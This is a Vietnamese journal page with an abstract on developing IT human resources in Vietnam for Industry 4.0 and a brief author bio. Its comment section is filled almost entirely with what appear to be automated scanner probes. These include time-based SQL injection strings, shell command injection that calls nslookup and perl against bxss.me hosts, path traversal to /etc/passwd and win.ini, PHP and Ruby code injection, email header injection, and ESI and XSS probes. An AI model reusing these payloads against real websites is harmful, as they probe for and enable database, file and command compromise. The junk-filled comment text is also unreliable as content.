Cuộc cách mạng công nghệp 4.0 đã và đang mở ra một kỷ nguyên mới với những thành tựu đột phá, làm thay đổi bối cảnh toàn cầu và có tác động to lớn trên mọi lĩnh vực của mỗi quốc gia. Trong cuộc cách mạng này, ngành công nghệ thông tin (CNTT) đóng vai trò then chốt. Đảng và Nhà nước ta đã sớm nhận thức được vai trò của ngành CNTT và chú trọng phát triển ngành này nhằm “đưa Việt Nam sớm trở thành nước mạnh về công nghệ thông tin và truyền thông”. Muốn phát triển CNTT thì vấn đề cốt yếu quyết định là phải phát triển nguồn nhân lực cho ngành này. Nguồn nhân lực CNTT của Việt Nam trong thời gian qua mặc dù đã đạt được những bước phát triển đáng kể, song vẫn đang tồn tại nhiều yếu điểm cơ bản cần sớm khắc phục. Bài viết này tập trung phân tích thực trạng nguồn nhân lực đề xuất giải pháp nhằm phát triển nguồn nhân lực ngành CNTT Việt Nam.
Từ khóa: Nguồn nhân lực, Ngành công nghệ thông tin Việt Nam, Cách mạng Công nghiệp 4.0
Là giảng viên tại Học viện Công nghệ Bưu chính Viễn thông, nhận học vị Tiến sĩ chuyên ngành Kinh tế Quốc tế tại Đại học Quốc gia Hà Nội; Thạc sỹ chuyên ngành Tài chính năm tại Đại Học New South Wales, Australia, Cử nhân Kinh tế tại Đại Học Kinh tế Quốc dân, Hà nội.
Lĩnh vực nghiên cứu: Tài chính, Kinh tế ICT
Bình luận
@4rRWQoZD:
Yes
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
qZN1SFiP
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
response.write(9225640*9048729)
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
'+response.write(9225640*9048729)+'
@Trương Hải bằng:
@Trương Hải bằng:
"+response.write(9225640*9048729)+"
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
../../../../../../../../../../../../../../etc/passwd
@Trương Hải bằng:
../../../../../../../../../../../../../../windows/win.ini
@Trương Hải bằng:
echo gtfqxg$()\ nleodz\nz^xyu||a #' &echo gtfqxg$()\ nleodz\nz^xyu||a #|" &echo gtfqxg$()\ nleodz\nz^xyu||a #
../@Trương Hải bằng:
@Trương Hải bằng:
&echo rjwxji$()\ qhputv\nz^xyu||a #' &echo rjwxji$()\ qhputv\nz^xyu||a #|" &echo rjwxji$()\ qhputv\nz^xyu||a #
@Trương Hải bằng:
@Trương Hải bằng:
|echo uuhrzi$()\ dgytdr\nz^xyu||a #' |echo uuhrzi$()\ dgytdr\nz^xyu||a #|" |echo uuhrzi$()\ dgytdr\nz^xyu||a #
@Trương Hải bằng:
(nslookup hitrlitcjzxne653d9.bxss.me||perl -e "gethostbyname('hitrlitcjzxne653d9.bxss.me')")
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
$(nslookup hitdzfwwhlnzm03690.bxss.me||perl -e "gethostbyname('hitdzfwwhlnzm03690.bxss.me')")
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
&(nslookup hitkgobuzsxrp64691.bxss.me||perl -e "gethostbyname('hitkgobuzsxrp64691.bxss.me')")&'\"`0&(nslookup hitkgobuzsxrp64691.bxss.me||perl -e "gethostbyname('hitkgobuzsxrp64691.bxss.me')")&`'
@Trương Hải bằng:
|(nslookup hitgrqrqvcuukde4dd.bxss.me||perl -e "gethostbyname('hitgrqrqvcuukde4dd.bxss.me')")
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
`(nslookup hitvwhvgkpedva71e8.bxss.me||perl -e "gethostbyname('hitvwhvgkpedva71e8.bxss.me')")`
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
'"
;(nslookup hitkzmevfnjmi572a0.bxss.me||perl -e "gethostbyname('hitkzmevfnjmi572a0.bxss.me')")|(nslookup hitkzmevfnjmi572a0.bxss.me||perl -e "gethostbyname('hitkzmevfnjmi572a0.bxss.me')")&(nslookup hitkzmevfnjmi572a0.bxss.me||perl -e "gethostbyname('hitkzmevfnjmi572a0.bxss.me')")
@Trương Hải bằng:
<!--
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng: &n971504=v924866
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng: '"()&%<acx><br />
@Trương Hải bằng:
@Trương Hải bằng:
'"()&%<acx><br />
@Trương Hải bằng: %0abcc:009247.83-27672.83.c43f6.19241.2@bxss.me
@Trương Hải bằng:
@Trương Hải bằng: 9541131
to@example.com>%0d%0abcc:009247.83-27673.83.c43f6.19241.2@bxss.me
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
/xfs.bxss.me
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng: <esi:include src="http://bxss.me/rpb.png"/>
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
${9999083+9999009}
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
)
"+"A".concat(70-3).concat(22*4).concat(102).concat(89).concat(101).concat(79)+(require"socket" Socket.gethostbyname("hitzt"+"efqpxqop0e1ab.bxss.me.")[3].to_s)+"
HttP://bxss.me/t/xss.html?%00
!(()&&!|*|*|
http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg
'+'A'.concat(70-3).concat(22*4).concat(120).concat(84).concat(109).concat(84)+(require'socket' Socket.gethostbyname('hitjq'+'csmynrph7d203.bxss.me.')[3].to_s)+'
1some_inexistent_file_with_long_name%00.jpg
bxss.me/t/xss.html?%00
^(#$!@#$)(()))******
@Trương Hải bằng:
Http://bxss.me/t/fit.txt
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
http://bxss.me/t/fit.txt%3F.jpg
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
bxss.me
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
'.gethostbyname(lc('hitgd'.'ckryyquxd6ccd.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(118).chr(78).chr(100).chr(79).'
@Trương Hải bằng:
@Trương Hải bằng:
".gethostbyname(lc("hitxu"."sithiqbc6c606.bxss.me."))."A".chr(67).chr(hex("58")).chr(118).chr(89).chr(118).chr(68)."
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
';print(md5(31337));$a='
";print(md5(31337));$a="
${@print(md5(31337))}
${@print(md5(31337))}\
'.print(md5(31337)).'
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
bKJkBada
-1 OR 2+818-818-1=0+0+0+1 --
-1 OR 2+330-330-1=0+0+0+1
-1' OR 2+217-217-1=0+0+0+1 --
-1' OR 2+96-96-1=0+0+0+1 or 'PjQqIfHo'='
-1" OR 2+254-254-1=0+0+0+1 --
if(now()=sysdate(),sleep(15),0)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1 waitfor delay '0:0:15' --
aL3QX5x8'; waitfor delay '0:0:15' --
amr1okjN' OR 953=(SELECT 953 FROM PG_SLEEP(15))--
QXdoXn2v') OR 770=(SELECT 770 FROM PG_SLEEP(15))--
lF7k8XQM')) OR 261=(SELECT 261 FROM PG_SLEEP(15))--
@Trương Hải bằng: '||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
@@XoLh0
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@Trương Hải bằng:
@RDFYjolf:
@RDFYjolf:
@RDFYjolf:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
response.write(9357752*9392893)
'+response.write(9357752*9392893)+'
"+response.write(9357752*9392893)+"
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
echo skfjwg$()\ szqpam\nz^xyu||a #' &echo skfjwg$()\ szqpam\nz^xyu||a #|" &echo skfjwg$()\ szqpam\nz^xyu||a #
@4rRWQoZD:
&echo bvstze$()\ woxlcl\nz^xyu||a #' &echo bvstze$()\ woxlcl\nz^xyu||a #|" &echo bvstze$()\ woxlcl\nz^xyu||a #
@4rRWQoZD:
|echo fgvrzn$()\ fbfbli\nz^xyu||a #' |echo fgvrzn$()\ fbfbli\nz^xyu||a #|" |echo fgvrzn$()\ fbfbli\nz^xyu||a #
(nslookup hitvprshihajs30588.bxss.me||perl -e "gethostbyname('hitvprshihajs30588.bxss.me')")
$(nslookup hitswrcvqhrjv20834.bxss.me||perl -e "gethostbyname('hitswrcvqhrjv20834.bxss.me')")
&(nslookup hitbocfguvzipf1252.bxss.me||perl -e "gethostbyname('hitbocfguvzipf1252.bxss.me')")&'\"`0&(nslookup hitbocfguvzipf1252.bxss.me||perl -e "gethostbyname('hitbocfguvzipf1252.bxss.me')")&`'
|(nslookup hitaoncqtyaxkea30b.bxss.me||perl -e "gethostbyname('hitaoncqtyaxkea30b.bxss.me')")
`(nslookup hitnpasssyorh30455.bxss.me||perl -e "gethostbyname('hitnpasssyorh30455.bxss.me')")`
;(nslookup hituiksebsgye61c17.bxss.me||perl -e "gethostbyname('hituiksebsgye61c17.bxss.me')")|(nslookup hituiksebsgye61c17.bxss.me||perl -e "gethostbyname('hituiksebsgye61c17.bxss.me')")&(nslookup hituiksebsgye61c17.bxss.me||perl -e "gethostbyname('hituiksebsgye61c17.bxss.me')")
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
5wq8X8kt
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../windows/win.ini
@4rRWQoZD:
@4rRWQoZD:
../@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
'"
<!--
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD: '"()&%<acx><br />
@4rRWQoZD:
'"()&%<acx><br />
@4rRWQoZD: 9527340
@4rRWQoZD:
@4rRWQoZD: &n975032=v949316
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD: %0abcc:009247.83-108508.83.c43f6.19241.2@bxss.me
@4rRWQoZD:
to@example.com>%0d%0abcc:009247.83-108509.83.c43f6.19241.2@bxss.me
@4rRWQoZD:
/xfs.bxss.me
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD: <esi:include src="http://bxss.me/rpb.png"/>
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
${10000396+10000068}
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
HttP://bxss.me/t/xss.html?%00
bxss.me/t/xss.html?%00
)
@4rRWQoZD:
!(()&&!|*|*|
http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg
@4rRWQoZD:
1some_inexistent_file_with_long_name%00.jpg
^(#$!@#$)(()))******
@4rRWQoZD:
Http://bxss.me/t/fit.txt
@4rRWQoZD:
@4rRWQoZD:
http://bxss.me/t/fit.txt%3F.jpg
@4rRWQoZD:
bxss.me
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
"+"A".concat(70-3).concat(22*4).concat(97).concat(85).concat(108).concat(75)+(require"socket" Socket.gethostbyname("hitxr"+"lzivsxqyaee76.bxss.me.")[3].to_s)+"
@4rRWQoZD:
'+'A'.concat(70-3).concat(22*4).concat(112).concat(87).concat(120).concat(77)+(require'socket' Socket.gethostbyname('hitoc'+'vrgytrot12a90.bxss.me.')[3].to_s)+'
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
'.gethostbyname(lc('hitje'.'pgnenosge8dcc.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(114).chr(83).chr(109).chr(66).'
@4rRWQoZD:
".gethostbyname(lc("hiths"."ttlpjuji83b2f.bxss.me."))."A".chr(67).chr(hex("58")).chr(118).chr(79).chr(100).chr(88)."
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
';print(md5(31337));$a='
";print(md5(31337));$a="
${@print(md5(31337))}
${@print(md5(31337))}\
'.print(md5(31337)).'
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
UsmRFMvB
-1 OR 2+736-736-1=0+0+0+1 --
-1 OR 2+783-783-1=0+0+0+1
-1' OR 2+465-465-1=0+0+0+1 --
-1' OR 2+691-691-1=0+0+0+1 or 'Y3dDDpiR'='
-1" OR 2+470-470-1=0+0+0+1 --
if(now()=sysdate(),sleep(15),0)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1 waitfor delay '0:0:15' --
mjhTeo1V'; waitfor delay '0:0:15' --
TvcTmRjo' OR 556=(SELECT 556 FROM PG_SLEEP(15))--
4ZarvO3z') OR 829=(SELECT 829 FROM PG_SLEEP(15))--
n72PWMbG')) OR 207=(SELECT 207 FROM PG_SLEEP(15))--
@4rRWQoZD: '||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
@@lQQT3
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD:
@4rRWQoZD: